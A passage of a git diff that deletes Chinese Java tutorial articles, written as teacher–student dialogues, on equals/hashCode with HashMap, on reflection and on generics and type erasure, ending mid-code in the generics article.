循环语句判断键是否 equals 返回对应值的。**按照时间复杂度来说的话,可表示为 O(n)**。 - -HashMap 是通过拉链法来解决哈希冲突的,也就是如果发生哈希冲突,同一个键的坑位会放好多个值,超过 8 个值后改为红黑树,为了提高查询的效率。 - -显然,从时间复杂度上来看的话 O(n) 比 O(1) 的性能要差,这也正是哈希表的价值所在。 - -“O(n) 和 O(1) 是什么呀?”三妹有些不解。 - -“这是[时间复杂度](https://javabetter.cn/collection/time-complexity.html)的一种表示方法,随后二哥专门给你讲一下。简单说一下 n 和 1 的意思,很显然,n 和 1 都代表的是代码执行的次数,假如数据规模为 n,n 就代表需要执行 n 次,1 就代表只需要执行一次。”我解释道。 - -“三妹,你想一下,如果没有哈希表,但又需要这样一个数据结构,它里面存放的数据是不允许重复的,该怎么办呢?”我问。 - -“要不使用 equals 方法进行逐个比较?”三妹有些不太确定。 - -“这种方法当然是可行的,就像 `if ((e = first.next) != null) {}` 子句中那样,但如果数据量特别特别大,性能就会很差,最好的解决方案还是 HashMap。” - -HashMap 本质上是通过[数组](https://javabetter.cn/array/array.html)实现的,当我们要从 HashMap 中获取某个值时,实际上是要获取数组中某个位置的元素,而位置是通过键来确定的。 - -```java -public V put(K key, V value) { - return putVal(hash(key), key, value, false, true); -} -``` - -这是 HashMap 的 put 方法,会将键值对放入到数组当中。它会调用 putVal 方法: - -```java -final HashMap.Node getNode(int hash, Object key) { - HashMap.Node[] tab; HashMap.Node first, e; int n; K k; - // 判断 HashMap 的 table 是否为 null 以及 table 长度是否大于 0 - if ((tab = table) != null && (n = tab.length) > 0 && - // 根据 hash 值计算出在 table 中的索引位置,并获取第一个节点 - (first = tab[(n - 1) & hash]) != null) { - // 判断第一个节点的 hash 值是否与给定 hash 相等,如果相等,则检查 key 是否相等 - if (first.hash == hash && - ((k = first.key) == key || (key != null && key.equals(k)))) - return first; - // 如果不相等,获取当前节点的下一个节点 - if ((e = first.next) != null) { - // 如果当前节点为 TreeNode 类型(红黑树),则调用 TreeNode 的 getTreeNode 方法查找 - if (first instanceof HashMap.TreeNode) - return ((HashMap.TreeNode)first).getTreeNode(hash, key); - // 如果不是红黑树节点,遍历链表查找 - do { - if (e.hash == hash && - ((k = e.key) == key || (key != null && key.equals(k)))) - return e; - } while ((e = e.next) != null); - } - } - // 如果没有找到对应的节点,则返回 null - return null; -} -``` - -通常情况下,`p = tab[i = (n - 1) & hash])` 就是键对应的值。而数组的索引 `(n - 1) & hash` 正是基于 hashCode 方法计算得到的。 - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -“那二哥,你好像还是没有说为什么重写 equals 方法的时候要重写 hashCode 方法呀?”三妹忍不住了。 - -“来看下面这段代码。”我说。 - -```java -public class Test { - public static void main(String[] args) { - Student s1 = new Student(18, "张三"); - Map scores = new HashMap<>(); - scores.put(s1, 98); - - Student s2 = new Student(18, "张三"); - System.out.println(scores.get(s2)); - } -} - class Student { - private int age; - private String name; - - public Student(int age, String name) { - this.age = age; - this.name = name; - } - - @Override - public boolean equals(Object o) { - Student student = (Student) o; - return age == student.age && - Objects.equals(name, student.name); - } - } -``` - -我们重写了 Student 类的 equals 方法,如果两个学生的年纪和姓名相同,我们就认为是同一个学生,虽然很离谱,但我们就是这么草率。 - -在 main 方法中,18 岁的张三考试得了 98 分,很不错的成绩,我们把张三和他的成绩放到 HashMap 中,然后准备取出: - -``` -null -``` - -“二哥,怎么输出了 null,而不是预期当中的 98 呢?”三妹感到很不可思议。 - -“原因就在于重写 equals 方法的时候没有重写 hashCode 方法。”我回答道,“equals 方法虽然认定名字和年纪相同就是同一个学生,但它们本质上是两个对象,hashCode 并不相同。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/equals-hashcode-01.png) - -“那怎么重写 hashCode 方法呢?”三妹问。 - -“可以直接调用 Objects 类的 hash 方法。”我回答。 - -```java - @Override - public int hashCode() { - return Objects.hash(age, name); - } -``` - -Objects 类的 hash 方法可以针对不同数量的参数生成新的哈希值,hash 方法调用的是 Arrays 类的 hashCode 方法,该方法源码如下: - -```java -public static int hashCode(Object a[]) { - if (a == null) - return 0; - - int result = 1; - - for (Object element : a) - result = 31 * result + (element == null ? 0 : element.hashCode()); - - return result; -} -``` - -第一次循环: - -``` -result = 31*1 + Integer(18).hashCode(); -``` - -第二次循环: - -``` -result = (31*1 + Integer(18).hashCode()) * 31 + String("张三").hashCode(); -``` - -针对姓名年纪不同的对象,这样计算后的哈希值很难很难很难重复的;针对姓名年纪相同的对象,哈希值保持一致。 - -再次执行 main 方法,结果如下所示: - -``` -98 -``` - -因为此时 s1 和 s2 对象的哈希值都为 776408。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/equals-hashcode-02.png) - - -“每当重写 equals 方法时,hashCode 方法也需要重写,原因就是为了保证:如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同。”我点题了。 - -“OK,get 了。”三妹开心地点了点头,看得出来,今天学到了不少。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/fanshe.md b/docs/src/basic-extra-meal/fanshe.md deleted file mode 100644 index fc0a319ef6..0000000000 --- a/docs/src/basic-extra-meal/fanshe.md +++ /dev/null @@ -1,446 +0,0 @@ ---- -title: Java 反射详解,我妹都学会了。 -shortTitle: 掌握 Java 反射 -category: - - Java核心 -tag: - - Java重要知识点 -description: Java 反射机制允许在运行时检查和操作类、对象、方法和字段。通过反射,我们可以动态创建对象实例、调用方法、访问字段和获取类的元数据。本文介绍了 Java 反射的基本概念、应用场景和示例。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java,java 反射, 运行时, 类, 对象, 方法, 字段, 反射,动态调用 ---- - -“二哥,什么是反射呀?”三妹开门见山地问。 - -“要想知道什么是反射,就需要先来了解什么是‘正射’。”我笑着对三妹说,“一般情况下,我们在使用某个类之前已经确定它到底是个什么类了,拿到手就直接可以使用 `new` 关键字来调用构造方法进行初始化,之后使用这个类的对象来进行操作。” - -```java -Writer writer = new Writer(); -writer.setName("沉默王二"); -``` - -像上面这个例子,就可以理解为“正射”。而反射就意味着一开始我们不知道要初始化的类到底是什么,也就没法直接使用 `new` 关键字创建对象了。 - -我们只知道这个类的一些基本信息,就好像我们看电影的时候,为了抓住一个犯罪嫌疑人,警察就会问一些目击证人,根据这些证人提供的信息,找专家把犯罪嫌疑人的样貌给画出来——这个过程,就可以称之为**反射**。 - -```java -Class clazz = Class.forName("com.itwanger.s39.Writer"); -Method method = clazz.getMethod("setName", String.class); -Constructor constructor = clazz.getConstructor(); -Object object = constructor.newInstance(); -method.invoke(object,"沉默王二"); -``` - -像上面这个例子,就可以理解为“反射”。 - -“反射的写法比正射复杂得多啊!”三妹感慨地说。 - -“是的,反射的成本是要比正射的高得多。”我说,“反射的缺点主要有两个。” - -- **破坏封装**:由于反射允许访问私有字段和私有方法,所以可能会破坏封装而导致安全问题。 -- **性能开销**:由于反射涉及到动态解析,因此无法执行 Java 虚拟机优化,再加上反射的写法的确要复杂得多,所以性能要比“正射”差很多,在一些性能敏感的程序中应该避免使用反射。 - -“那反射有哪些好处呢?”三妹问。 - -反射的主要应用场景有: - -- **开发通用框架**:像 Spring,为了保持通用性,通过配置文件来加载不同的对象,调用不同的方法。 -- **动态代理**:在面向切面编程中,需要拦截特定的方法,就会选择动态代理的方式,而动态代理的底层技术就是反射。 -- **注解**:注解本身只是起到一个标记符的作用,它需要利用反射机制,根据标记符去执行特定的行为。 - -“好了,来看一下完整的例子吧。”我对三妹说。 - -Writer 类,有两个字段,然后还有对应的 getter/setter。 - -```java -public class Writer { - private int age; - private String name; - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } -} -``` - -测试类: - -```java -public class ReflectionDemo1 { - public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { - Writer writer = new Writer(); - writer.setName("沉默王二"); - System.out.println(writer.getName()); - - Class clazz = Class.forName("com.itwanger.s39.Writer"); - Constructor constructor = clazz.getConstructor(); - Object object = constructor.newInstance(); - - Method setNameMethod = clazz.getMethod("setName", String.class); - setNameMethod.invoke(object, "沉默王二"); - Method getNameMethod = clazz.getMethod("getName"); - System.out.println(getNameMethod.invoke(object)); - } -} -``` - -来看一下输出结果: - -``` -沉默王二 -沉默王二 -``` - -只不过,反射的过程略显曲折了一些。 - -第一步,获取反射类的 Class 对象: - -```java -Class clazz = Class.forName("com.itwanger.s39.Writer"); -``` - -在 Java 中,Class 对象是一种特殊的对象,它代表了程序中的类和接口。 - -Java 中的每个类型(包括类、接口、数组以及基础类型)在 JVM 中都有一个唯一的 Class 对象与之对应。这个 Class 对象被创建的时机是在 JVM 加载类时,由 JVM 自动完成。 - -Class 对象中包含了与类相关的很多信息,如类的名称、类的父类、类实现的接口、类的构造方法、类的方法、类的字段等等。这些信息通常被称为元数据(metadata)。 - -除了前面提到的,通过类的全名获取 Class 对象,还有以下两种方式: - -- 如果你有一个类的实例,你可以通过调用该实例的`getClass()`方法获取 Class 对象。例如:`String str = "Hello World"; Class cls = str.getClass();` -- 如果你有一个类的字面量(即类本身),你可以直接获取 Class 对象。例如:`Class cls = String.class;` - -第二步,通过 Class 对象获取构造方法 Constructor 对象: - -```java -Constructor constructor = clazz.getConstructor(); -``` - -第三步,通过 Constructor 对象初始化反射类对象: - -```java -Object object = constructor.newInstance(); -``` - -第四步,获取要调用的方法的 Method 对象: - -```java -Method setNameMethod = clazz.getMethod("setName", String.class); -Method getNameMethod = clazz.getMethod("getName"); -``` - -第五步,通过 `invoke()` 方法执行: - -```java -setNameMethod.invoke(object, "沉默王二"); -getNameMethod.invoke(object) -``` - -“三妹,你看,经过这五个步骤,基本上就掌握了反射的使用方法。”我说。 - -“好像反射也没什么复杂的啊!”三妹说。 - -我先对三妹点点头,然后说:“是的,掌握反射的基本使用方法确实不难,但要理解整个反射机制还是需要花一点时间去了解一下 Java 虚拟机的类加载机制的。” - -要想使用反射,首先需要获得反射类的 Class 对象,每一个类,不管它最终生成了多少个对象,这些对象只会对应一个 Class 对象,这个 Class 对象是由 Java 虚拟机生成的,由它来获悉整个类的结构信息。 - -也就是说,`java.lang.Class` 是所有反射 API 的入口。 - -而方法的反射调用,最终是由 Method 对象的 `invoke()` 方法完成的,来看一下源码(JDK 8 环境下)。 - -```java -public Object invoke(Object obj, Object... args) - throws IllegalAccessException, IllegalArgumentException, - InvocationTargetException { - // 如果方法不允许被覆盖,进行权限检查 - if (!override) { - if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) { - Class caller = Reflection.getCallerClass(); - // 检查调用者是否具有访问权限 - checkAccess(caller, clazz, obj, modifiers); - } - } - // 获取方法访问器(从 volatile 变量中读取) - MethodAccessor ma = methodAccessor; - if (ma == null) { - // 如果访问器为空,尝试获取方法访问器 - ma = acquireMethodAccessor(); - } - // 使用方法访问器调用方法,并返回结果 - return ma.invoke(obj, args); -} -``` - -两个嵌套的 if 语句是用来进行权限检查的。 - -`invoke()` 方法实际上是委派给 MethodAccessor 接口来完成的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/fanshe/fanshe-01.png) - -MethodAccessor 接口有三个实现类,其中的 MethodAccessorImpl 是一个抽象类,另外两个具体的实现类继承了这个抽象类。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/fanshe/fanshe-02.png) - -- NativeMethodAccessorImpl:通过本地方法来实现反射调用; -- DelegatingMethodAccessorImpl:通过委派模式来实现反射调用; - -通过 debug 的方式进入 `invoke()` 方法后,可以看到第一次反射调用会生成一个委派实现 DelegatingMethodAccessorImpl,它在生成的时候会传递一个本地实现 NativeMethodAccessorImpl。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/fanshe/fanshe-03.png) - -也就是说,`invoke()` 方法在执行的时候,会先调用 DelegatingMethodAccessorImpl,然后调用 NativeMethodAccessorImpl,最后再调用实际的方法。 - -“为什么不直接调用本地实现呢?”三妹问。 - -“之所以采用委派实现,是为了能够在本地实现和动态实现之间切换。动态实现是另外一种反射调用机制,它是通过生成字节码的形式来实现的。如果反射调用的次数比较多,动态实现的效率就会更高,因为本地实现需要经过 Java 到 C/C++ 再到 Java 之间的切换过程,而动态实现不需要;但如果反射调用的次数比较少,反而本地实现更快一些。”我说。 - -“那临界点是多少呢?”三妹问。 - -“默认是 15 次。”我说,“可以通过 `-Dsun.reflect.inflationThreshold` 参数类调整。” - -来看下面这个例子。 - -```java -Method setAgeMethod = clazz.getMethod("setAge", int.class); -for (int i = 0;i < 20; i++) { - setAgeMethod.invoke(object, 18); -} -``` - -在 `invoke()` 方法处加断点进入 debug 模式,当 i = 15 的时候,也就是第 16 次执行的时候,会进入到 if 条件分支中,改变 DelegatingMethodAccessorImpl 的委派模式 delegate 为 `(MethodAccessorImpl)(new MethodAccessorGenerator()).generateMethod()`,而之前的委派模式 delegate 为 NativeMethodAccessorImpl。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/fanshe/fanshe-04.png) - -“这下明白了吧?三妹。”我说,“接下来,我们再来熟悉一下反射当中常用的 API。” - -**1)获取反射类的 Class 对象** - -`Class.forName()`,参数为反射类的完全限定名。 - -```java -Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3"); -System.out.println(c1.getCanonicalName()); - -Class c2 = Class.forName("[D"); -System.out.println(c2.getCanonicalName()); - -Class c3 = Class.forName("[[Ljava.lang.String;"); -System.out.println(c3.getCanonicalName()); -``` - -来看一下输出结果: - -``` -com.itwanger.s39.ReflectionDemo3 -double[] -java.lang.String[][] -``` - -类名 + `.class`,只适合在编译前就知道操作的 Class。。 - -```java -Class c1 = ReflectionDemo3.class; -System.out.println(c1.getCanonicalName()); - -Class c2 = String.class; -System.out.println(c2.getCanonicalName()); - -Class c3 = int[][][].class; -System.out.println(c3.getCanonicalName()); -``` - -来看一下输出结果: - -```java -com.itwanger.s39.ReflectionDemo3 -java.lang.String -int[][][] -``` - -**2)创建反射类的对象** - -通过反射来创建对象的方式有两种: - -- 用 Class 对象的 `newInstance()` 方法。 -- 用 Constructor 对象的 `newInstance()` 方法。 - -```java -Class c1 = Writer.class; -Writer writer = (Writer) c1.newInstance(); - -Class c2 = Class.forName("com.itwanger.s39.Writer"); -Constructor constructor = c2.getConstructor(); -Object object = constructor.newInstance(); -``` - -**3)获取构造方法** - -Class 对象提供了以下方法来获取构造方法 Constructor 对象: - -- `getConstructor()`:返回反射类的特定 public 构造方法,可以传递参数,参数为构造方法参数对应 Class 对象;缺省的时候返回默认构造方法。 -- `getDeclaredConstructor()`:返回反射类的特定构造方法,不限定于 public 的。 -- `getConstructors()`:返回类的所有 public 构造方法。 -- `getDeclaredConstructors()`:返回类的所有构造方法,不限定于 public 的。 - -```java -Class c2 = Class.forName("com.itwanger.s39.Writer"); -Constructor constructor = c2.getConstructor(); - -Constructor[] constructors1 = String.class.getDeclaredConstructors(); -for (Constructor c : constructors1) { - System.out.println(c); -} -``` - -**4)获取字段** - -大体上和获取构造方法类似,把关键字 Constructor 换成 Field 即可。 - -```java -Field[] fields1 = System.class.getFields(); -Field fields2 = System.class.getField("out"); -``` - -**5)获取方法** - -大体上和获取构造方法类似,把关键字 Constructor 换成 Method 即可。 - -```java -Method[] methods1 = System.class.getDeclaredMethods(); -Method[] methods2 = System.class.getMethods(); -``` - -“注意,三妹,如果你想反射访问私有字段和(构造)方法的话,需要使用 `Constructor/Field/Method.setAccessible(true)` 来绕开 Java 语言的访问限制。”我说。 - -“好的,二哥。还有资料可以参考吗?”三妹问。 - -“有的,有两篇文章写得非常不错,你在学习反射的时候可以作为参考。”我说。 - -第一篇:深入理解 Java 反射和动态代理 - -> 链接:[https://dunwu.github.io/javacore/basics/java-reflection.html](https://dunwu.github.io/javacore/basics/java-reflection.html) - -第二篇:大白话说 Java 反射:入门、使用、原理: - -> 链接:[https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html](https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html) - -这里简单总结下。 - -反射是 Java 中的一个强大特性,它允许在运行时检查和操作[类](https://javabetter.cn/oo/object-class.html)、[接口](https://javabetter.cn/oo/interface.html)、[字段](https://javabetter.cn/oo/var.html)和[方法](https://javabetter.cn/oo/method.html)。反射是 Java 的核心组件,支持各种框架和库的实现,如 Spring、Hibernate 等。使用反射,可以在运行时动态地创建对象、调用方法和访问字段,而无需在编译时了解这些对象的具体实现。 - -反射的主要类位于 `java.lang.reflect` 包中,主要包括以下几个关键类: - -- Class:代表一个类或接口,包含了类的结构信息(如名称、构造函数、方法、字段等)。通过 Class 对象,可以获取类的元数据并操作类的实例。 -- Constructor:代表类的[构造方法](https://javabetter.cn/oo/construct.html),用于创建类的实例。 -- Method:代表类的方法,可以通过它调用类的实例方法。 -- Field:代表类的字段,可以获取或修改字段的值。 -- Modifier:包含方法、字段和类的[访问修饰符(如 public、private 等)](https://javabetter.cn/oo/access-control.html)。 - -使用反射时,需要注意以下几点: - -- 性能:反射操作通常比直接操作对象的方法和字段慢,因为涉及到额外的间接调用和动态解析。因此,在关注性能的场景中,慎用反射。 -- 安全性:通过反射,可以访问和操作类的私有字段和方法,这可能导致安全问题。因此,使用反射时要确保代码的安全性。 -- 维护性:反射使代码变得更加复杂,可能导致难以维护。在使用反射时要确保代码的可读性和可维护性。 - -尽管反射存在上述问题,但在某些场景下(如框架开发、动态代理等),它仍然是非常有用的工具。 - -来一个完整的 demo 示例吧。 - -```java -class Person { - private String name; - private int age; - - public Person() { - } - - public Person(String name, int age) { - this.name = name; - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } - - private void privateMethod() { - System.out.println("私有方法"); - } -} - -public class ReflectionDemo { - public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, - IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { - // 获取 Person 类的 Class 对象 - Class personClass = Class.forName("com.github.paicoding.forum.test.javabetter.importance.Person"); - - // 获取并打印类名 - System.out.println("类名: " + personClass.getName()); - - // 获取构造函数 - Constructor constructor = personClass.getConstructor(String.class, int.class); - - // 使用构造函数创建 Person 对象实例 - Object personInstance = constructor.newInstance("沉默王二", 30); - - // 获取并调用 getName 方法 - Method getNameMethod = personClass.getMethod("getName"); - String name = (String) getNameMethod.invoke(personInstance); - System.out.println("名字: " + name); - - // 获取并调用 setAge 方法 - Method setAgeMethod = personClass.getMethod("setAge", int.class); - setAgeMethod.invoke(personInstance, 35); - - // 获取并访问 age 字段 - Field ageField = personClass.getDeclaredField("age"); - ageField.setAccessible(true); - int age = ageField.getInt(personInstance); - System.out.println("年纪: " + age); - - // 获取并调用私有方法 - Method privateMethod = personClass.getDeclaredMethod("privateMethod"); - privateMethod.setAccessible(true); - privateMethod.invoke(personInstance); - } -} -``` - -在这个示例中,我们首先通过 `Class.forName()` 方法获取 Person 类的 Class 对象。接着,我们获取了 Person 类的构造方法、方法和字段,并使用这些反射对象来创建实例、调用方法和访问字段。注意,在访问私有方法和字段时,我们需要调用 `setAccessible(true)` 方法来允许访问。 - -“好了,三妹,关于反射,就先讲到这里吧。” - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/generic.md b/docs/src/basic-extra-meal/generic.md deleted file mode 100644 index 6388adf3ca..0000000000 --- a/docs/src/basic-extra-meal/generic.md +++ /dev/null @@ -1,621 +0,0 @@ ---- -title: Java 泛型深入解析:理解泛型原理与实际应用方法 -shortTitle: Java泛型,深入解析 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细讲解了 Java 泛型的概念、原理及应用技巧,为您展示了如何通过泛型提高代码的可重用性、类型安全和可读性。学习本文将帮助您更好地掌握 Java 泛型编程,提高编程效率与质量。 -head: - - - meta - - name: keywords - content: java,泛型,java 泛型,java generic ---- - -“二哥,为什么要设计泛型啊?”三妹开门见山地问。 - -“三妹啊,听哥慢慢给你讲啊。”我说。 - -Java 在 1.5 时增加了泛型机制,据说专家们为此花费了 5 年左右的时间(听起来是相当不容易)。有了泛型之后,尤其是对集合类的使用,就变得更规范了。 - -看下面这段简单的代码。 - -```java -ArrayList list = new ArrayList(); -list.add("沉默王二"); -String str = list.get(0); -``` - -“三妹,你能想象到在没有泛型之前该怎么办吗?” - -“嗯,想不到,还是二哥你说吧。” - -嗯,我们可以使用 Object 数组来设计 `Arraylist` 类。 - -```java -class Arraylist { - private Object[] objs; - private int i = 0; - public void add(Object obj) { - objs[i++] = obj; - } - - public Object get(int i) { - return objs[i]; - } -} -``` - -然后,我们向 `Arraylist` 中存取数据。 - -```java -Arraylist list = new Arraylist(); -list.add("沉默王二"); -list.add(new Date()); -String str = (String)list.get(0); -``` - -“三妹,你有没有发现这两个问题?” - -- Arraylist 可以存放任何类型的数据(既可以存字符串,也可以混入日期),因为所有类都继承自 Object 类。 -- 从 Arraylist 取出数据的时候需要强制类型转换,因为编译器并不能确定你取的是字符串还是日期。 - -“嗯嗯,是的呢。”三妹说。 - -对比一下,你就能明显地感受到泛型的优秀之处:使用**类型参数**解决了元素的不确定性——参数类型为 String 的集合中是不允许存放其他类型元素的,取出数据的时候也不需要强制类型转换了。 - -### 动手设计一个泛型 - -“二哥,那怎么才能设计一个泛型呢?” - -“三妹啊,你一个小白只要会用泛型就行了,还想设计泛型啊?!不过,既然你想了解,哥义不容辞。” - -首先,我们来按照泛型的标准重新设计一下 `Arraylist` 类。 - -```java -class Arraylist { - private Object[] elementData; - private int size = 0; - - public Arraylist(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - E elementData(int index) { - return (E) elementData[index]; - } -} -``` - -一个泛型类就是具有一个或多个类型变量的类。Arraylist 类引入的类型变量为 E(Element,元素的首字母),使用尖括号 `<>` 括起来,放在类名的后面。 - -然后,我们可以用具体的类型(比如字符串)替换类型变量来实例化泛型类。 - -```java -Arraylist list = new Arraylist(); -list.add("沉默王三"); -String str = list.get(0); -``` - -Date 类型也可以的。 - -```java -Arraylist list = new Arraylist(); -list.add(new Date()); -Date date = list.get(0); -``` - -其次,我们还可以在一个非泛型的类(或者泛型类)中定义泛型方法。 - -```java -class Arraylist { - public T[] toArray(T[] a) { - return (T[]) Arrays.copyOf(elementData, size, a.getClass()); - } -} -``` - -不过,说实话,泛型方法的定义看起来略显晦涩。来一副图吧(注意:方法返回类型和方法参数类型至少需要一个)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/generic/generic-01.png) - -现在,我们来调用一下泛型方法。 - -```java -Arraylist list = new Arraylist<>(4); -list.add("沉"); -list.add("默"); -list.add("王"); -list.add("二"); - -String [] strs = new String [4]; -strs = list.toArray(strs); - -for (String str : strs) { - System.out.println(str); -} -``` - -### 泛型限定符 - -然后,我们再来说说泛型变量的限定符 `extends`。 - -在解释这个限定符之前,我们假设有三个类,它们之间的定义是这样的。 - -```java -class Wanglaoer { - public String toString() { - return "王老二"; - } -} - -class Wanger extends Wanglaoer{ - public String toString() { - return "王二"; - } -} - -class Wangxiaoer extends Wanger{ - public String toString() { - return "王小二"; - } -} -``` - -我们使用限定符 `extends` 来重新设计一下 `Arraylist` 类。 - -```java -class Arraylist { -} -``` - -当我们向 `Arraylist` 中添加 `Wanglaoer` 元素的时候,编译器会提示错误:`Arraylist` 只允许添加 `Wanger` 及其子类 `Wangxiaoer` 对象,不允许添加其父类 `Wanglaoer`。 - -```java -Arraylist list = new Arraylist<>(3); -list.add(new Wanger()); -list.add(new Wanglaoer()); -// The method add(Wanger) in the type Arraylist is not applicable for the arguments -// (Wanglaoer) -list.add(new Wangxiaoer()); -``` - -也就是说,限定符 `extends` 可以缩小泛型的类型范围。 - -### 类型擦除 - -“哦,明白了。”三妹若有所思的点点头,“二哥,听说虚拟机没有泛型?” - -“三妹,你功课做得可以啊。哥可以肯定地回答你,虚拟机是没有泛型的。” - -“怎么确定虚拟机有没有泛型呢?”三妹问。 - -“只要我们把泛型类的字节码进行反编译就看到了!”用反编译工具(我写这篇文章的时候用的是 jad,你也可以用其他的工具)将 class 文件反编译后,我说,“三妹,你看。” - -```java -// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. -// Jad home page: http://www.kpdus.com/jad.html -// Decompiler options: packimports(3) -// Source File Name: Arraylist.java - -package com.cmower.java_demo.fanxing; - -import java.util.Arrays; - -class Arraylist -{ - - public Arraylist(int initialCapacity) - { - size = 0; - elementData = new Object[initialCapacity]; - } - - public boolean add(Object e) - { - elementData[size++] = e; - return true; - } - - Object elementData(int index) - { - return elementData[index]; - } - - private Object elementData[]; - private int size; -} -``` - -类型变量 `` 消失了,取而代之的是 Object ! - -“既然如此,那如果泛型类使用了限定符 `extends`,结果会怎么样呢?”三妹这个问题问的很巧妙。 - -来看这段代码。 - -```java -class Arraylist2 { - private Object[] elementData; - private int size = 0; - - public Arraylist2(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - E elementData(int index) { - return (E) elementData[index]; - } -} -``` - -反编译后的结果如下。 - -```java -// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. -// Jad home page: http://www.kpdus.com/jad.html -// Decompiler options: packimports(3) -// Source File Name: Arraylist2.java - -package com.cmower.java_demo.fanxing; - - -// Referenced classes of package com.cmower.java_demo.fanxing: -// Wanger - -class Arraylist2 -{ - - public Arraylist2(int initialCapacity) - { - size = 0; - elementData = new Object[initialCapacity]; - } - - public boolean add(Wanger e) - { - elementData[size++] = e; - return true; - } - - Wanger elementData(int index) - { - return (Wanger)elementData[index]; - } - - private Object elementData[]; - private int size; -} -``` - -“你看,类型变量 `` 不见了,E 被替换成了 `Wanger`”,我说,“通过以上两个例子说明,Java 虚拟机会将泛型的类型变量擦除,并替换为限定类型(没有限定的话,就用 `Object`)” - -“二哥,类型擦除会有什么问题吗?”三妹又问了一个很有水平的问题。 - -“三妹啊,你还别说,类型擦除真的会有一些问题。”我说,“来看一下这段代码。” - -```java -public class Cmower { - - public static void method(Arraylist list) { - System.out.println("Arraylist list"); - } - - public static void method(Arraylist list) { - System.out.println("Arraylist list"); - } - -} -``` - -在浅层的意识上,我们会想当然地认为 `Arraylist list` 和 `Arraylist list` 是两种不同的类型,因为 String 和 Date 是不同的类。 - -但由于类型擦除的原因,以上代码是不会通过编译的——编译器会提示一个错误(这正是类型擦除引发的那些“问题”): - -``` ->Erasure of method method(Arraylist) is the same as another method in type - Cmower -> ->Erasure of method method(Arraylist) is the same as another method in type - Cmower -``` - - -大致的意思就是,这两个方法的参数类型在擦除后是相同的。 - -也就是说,`method(Arraylist list)` 和 `method(Arraylist list)` 是同一种参数类型的方法,不能同时存在。类型变量 `String` 和 `Date` 在擦除后会自动消失,method 方法的实际参数是 `Arraylist list`。 - -有句俗话叫做:“百闻不如一见”,但即使见到了也未必为真——泛型的擦除问题就可以很好地佐证这个观点。 - -### 泛型通配符 - -“哦,明白了。二哥,听说泛型还有通配符?” - -“三妹啊,哥突然觉得你很适合作一枚可爱的程序媛啊!你这预习的功课做得可真到家啊,连通配符都知道!” - -通配符使用英文的问号`(?)`来表示。在我们创建一个泛型对象时,可以使用关键字 `extends` 限定子类,也可以使用关键字 `super` 限定父类。 - -我们来看下面这段代码。 - -```java -// 定义一个泛型类 Arraylist,E 表示元素类型 -class Arraylist { - // 私有成员变量,存储元素数组和元素数量 - private Object[] elementData; - private int size = 0; - - // 构造函数,传入初始容量 initialCapacity,创建一个指定容量的 Object 数组 - public Arraylist(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - // 添加元素到数组末尾,返回添加成功与否 - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - // 获取指定下标的元素 - public E get(int index) { - return (E) elementData[index]; - } - - // 查找指定元素第一次出现的下标,如果找不到则返回 -1 - public int indexOf(Object o) { - if (o == null) { - for (int i = 0; i < size; i++) - if (elementData[i]==null) - return i; - } else { - for (int i = 0; i < size; i++) - if (o.equals(elementData[i])) - return i; - } - return -1; - } - - // 判断指定元素是否在数组中出现 - public boolean contains(Object o) { - return indexOf(o) >= 0; - } - - // 将数组中的元素转化成字符串输出 - public String toString() { - StringBuilder sb = new StringBuilder(); - - for (Object o : elementData) { - if (o != null) { - E e = (E)o; - sb.append(e.toString()); - sb.append(',').append(' '); 